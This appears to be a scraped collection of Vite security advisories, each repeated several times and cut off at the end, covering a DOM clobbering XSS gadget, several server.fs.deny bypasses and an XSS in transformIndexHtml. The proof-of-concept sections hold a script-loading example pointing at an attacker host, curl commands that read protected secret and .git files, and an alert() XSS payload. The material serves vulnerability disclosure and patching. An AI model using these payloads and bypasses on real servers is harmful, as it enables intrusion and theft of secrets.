// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs/iife/umdoutput format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs,iife, orumd. In such cases, Vite replaces relative paths starting with__VITE_ASSET__using the URL retrieved fromdocument.currentScript.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.const relativeUrlMechanisms = { amd: (relativePath) => { if (relativePath[0] !== ".") relativePath = "./" + relativePath; return getResolveUrl( `require.toUrl('${escapeId(relativePath)}'), document.baseURI` ); }, cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath)})`, es: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url` ), iife: (relativePath) => getRelativeUrlFromDocument(relativePath), // NOTE: make sure rollup generate `module` params system: (relativePath) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url` ), umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath( relativePath )} : ${getRelativeUrlFromDocument(relativePath, true)})` };PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use the Vite to bundle up the program with the following configuration.// main.js import extraURL from './extra.js?url' var s = document.createElement('script') s.src = extraURL document.head.append(s)// extra.js export default "https://myserver/justAnOther.js"// vite.config.js import { defineConfig } from 'vite' export default defineConfig({ build: { assetsInlineLimit: 0, // To avoid inline assets for PoC rollupOptions: { output: { format: "cjs" }, }, }, base: "./", });After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js "use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);Adding the Vite bundled script,
dist/index-DDmIg9VD.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.server. The attacker only needs to insert animgtag with thenameattribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>Vite Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs,iife, orumd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296 const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(partialEncodeURIPath(relativePath))}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`, )
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fsdenies access to files outside of Vite serving allow list. Adding?import&rawto the URL bypasses this limitation and returns the file content if it exists.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite's `server.fs.deny` did not deny requests for patterns with directories.
Summary
Vite dev server option
server.fs.denydid not deny requests for patterns with directories. An example of such a pattern is/foo/**/*.Impact
Only apps setting a custom
server.fs.denythat includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--hostorserver.hostconfig option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.denyuses picomatch with the config of{ matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']and then curl for/.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc).- with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
๐จ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
๐จ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
๐จ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
๐จ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
๐จ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
